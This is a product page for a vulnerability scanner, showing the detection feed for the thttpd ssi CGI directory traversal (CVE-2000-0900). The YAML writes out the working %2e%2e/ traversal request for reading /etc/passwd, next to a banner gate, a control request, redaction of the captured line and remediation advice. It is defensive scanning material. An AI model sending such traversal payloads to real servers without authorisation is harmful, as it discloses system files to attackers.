thttpd — 1 vulnerability check

noctis ships 1 vulnerability check for thttpd, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

thttpd ssi CGI Directory Traversal File Read

CVECVE-2000-0900
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/thttpd/CVE-2000-0900.yaml

Tests thttpd web servers (2.19 and earlier) for the directory traversal in the bundled ssi CGI program, which opens the file named by the request path after the script name without removing hex-encoded ../ sequences. When the web server identifies itself as thttpd, the feed requests ssi under /cgi-bin (where thttpd installs it) and then the web root, with a path made of %2e%2e/ segments ending in etc/passwd. A 200 reply carrying the content of /etc/passwd confirms the file read. A control request for an absent random file through the same ssi path must not return a passwd line, so a server that serves the same content on every request is not reported. Only a world-readable system file is read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Checks root_r.banner for (?mi)^Server:[ \t]*[^\r\n]*thttpd
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.0
  4. Checks passwd_r.banner for (?ms)\A(?:HTTP/1\.[01] 200\b|Content-type:[ \t]*text/html).*?(?:^|>)(…
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/noctis-absent-{{oob_tok…
  7. Checks ctrl_r.banner for (?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]:
  8. Checks proof for ^(root|<redacted>):<redacted>:0:[01]: → finding QoD 75: thttpd ssi CGI Directory Traversal File Read (CVE-2000-0900)

References:

Feed source — tests/vulnerabilities/thttpd/CVE-2000-0900.yaml
# thttpd ssi CGI directory traversal — CVE-2000-0900
#
# thttpd 2.19 and earlier (ACME Labs) ship "ssi", a server-side-includes CGI
# that make install puts in <web root>/cgi-bin/ssi. It parses the file named
# by PATH_TRANSLATED (web root + PATH_INFO) and prints it. Before 2.20 neither
# thttpd nor ssi removed "../" from the PATH_INFO when it was hex-encoded as
# %2e%2e, so
#     GET /cgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/.../etc/passwd
# makes ssi open /etc/passwd and send its content back (any file the web
# server user can read the same way). 2.20 added a "../" check to ssi
# (check_filename) and thttpd collapses "../" in the decoded URL.
#
# Detection (benign, read-only): when GET / answers with a thttpd Server
# header, request ssi with %2e%2e segments ending in etc/passwd and match a
# uid-0 line in a 200 reply. Raw tcp_connect, because reqwest would decode
# %2e and resolve the "../" before sending. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - The NASL only requests <app dir>/ssi (the web root on a default thttpd
#     detection), but make install puts ssi in /cgi-bin/ — the feed tries
#     /cgi-bin/ssi first, then /ssi, so default installs are not missed.
#   - A control request (same ssi prefix, a path in an absent random directory
#     that still ends with etc/passwd) must come back WITHOUT a passwd line,
#     so a tarpit or honeypot that serves a fake passwd file on every request
#     is not reported (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2000-0900 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/thttpd_ssi.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10523, GPL-2.0-only).
uid: 3f5a4000-894c-48b5-b6fe-3b30a7dbd699
name: "thttpd ssi CGI Directory Traversal File Read (CVE-2000-0900)"
description: |
  Tests thttpd web servers (2.19 and earlier) for the directory traversal in
  the bundled ssi CGI program, which opens the file named by the request path
  after the script name without removing hex-encoded ../ sequences. When the
  web server identifies itself as thttpd, the feed requests ssi under
  /cgi-bin (where thttpd installs it) and then the web root, with a path made
  of %2e%2e/ segments ending in etc/passwd. A 200 reply carrying the content
  of /etc/passwd confirms the file read. A control request for an absent
  random file through the same ssi path must not return a passwd line, so a
  server that serves the same content on every request is not reported. Only
  a world-readable system file is read. The account name (unless root),
  password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2000-0900]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [thttpd, acme-labs, ssi, cgi, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2000-0900"
  - "https://www.acme.com/software/thttpd/"
  # OpenVAS/Greenbone NASL pre2008/thttpd_ssi.nasl (GPL-2.0-only)

steps:
  # ── Gate: the web server must be thttpd ──────────────────────────────────
  - id: init-root-r
    action: set_var
    var_name: root_r
    var_value: {connected: false, banner: ""}

  - id: init-thttpd-m
    action: set_var
    var_name: thttpd_m
    var_value: {matched: false, captures: []}

  - id: root-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_r

  - id: server-header
    action: match
    source: root_r.banner
    pattern: "(?mi)^Server:[ \\t]*[^\\r\\n]*thttpd"
    condition: 'root_r.connected == true && type_of(root_r.banner) == "string"'
    store_as: thttpd_m

  # ── Loop group: every following step runs once per ssi location. Each pass
  # resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {connected: false, banner: ""}
    loop:
      var: dir
      over: ["/cgi-bin", ""]

  - id: init-passwd-m
    action: set_var
    var_name: passwd_m
    var_value: {matched: false, captures: []}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through %2e%2e segments (sent verbatim) ─────────────
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: "thttpd_m.matched == true"
    store_as: passwd_r

  # No on_match: the raw reply (password hash) must not become evidence.
  # A 200 status line (or, should the server pass the CGI output through
  # unparsed, ssi's own Content-type header), then a uid-0 line. Captures:
  # account name, gid, home, shell.
  - id: passwd-content
    action: match
    source: passwd_r.banner
    pattern: "(?ms)\\A(?:HTTP/1\\.[01] 200\\b|Content-type:[ \\t]*text/html).*?(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
    condition: 'thttpd_m.matched == true && passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 3 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2] + ":" + passwd_m.captures[3]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>:" + passwd_m.captures[3]
        }
      } else { "" }
    store_as: proof

  # ── Control: same ssi path, absent random directory, same etc/passwd
  # suffix — must NOT carry a passwd line. A honeypot that keys a fake file
  # on the path ending answers it too.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
    condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "^(root|<redacted>):<redacted>:0:[01]:"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
    on_match:
      finding:
        title: "thttpd ssi CGI Directory Traversal File Read (CVE-2000-0900)"
        description: "An unauthenticated GET request to thttpd's ssi CGI program with hex-encoded ../ segments (%2e%2e/) in the path returned the content of /etc/passwd, while the same request for an absent file did not. Any other file the web server user can read is disclosed the same way."
        remediation: "Upgrade thttpd to 2.20 or later, which rejects ../ in the ssi path, or remove the ssi program from the cgi-bin directory if server-side includes are not used."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/ssi//%2e%2e/(x7)etc/passwd on thttpd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub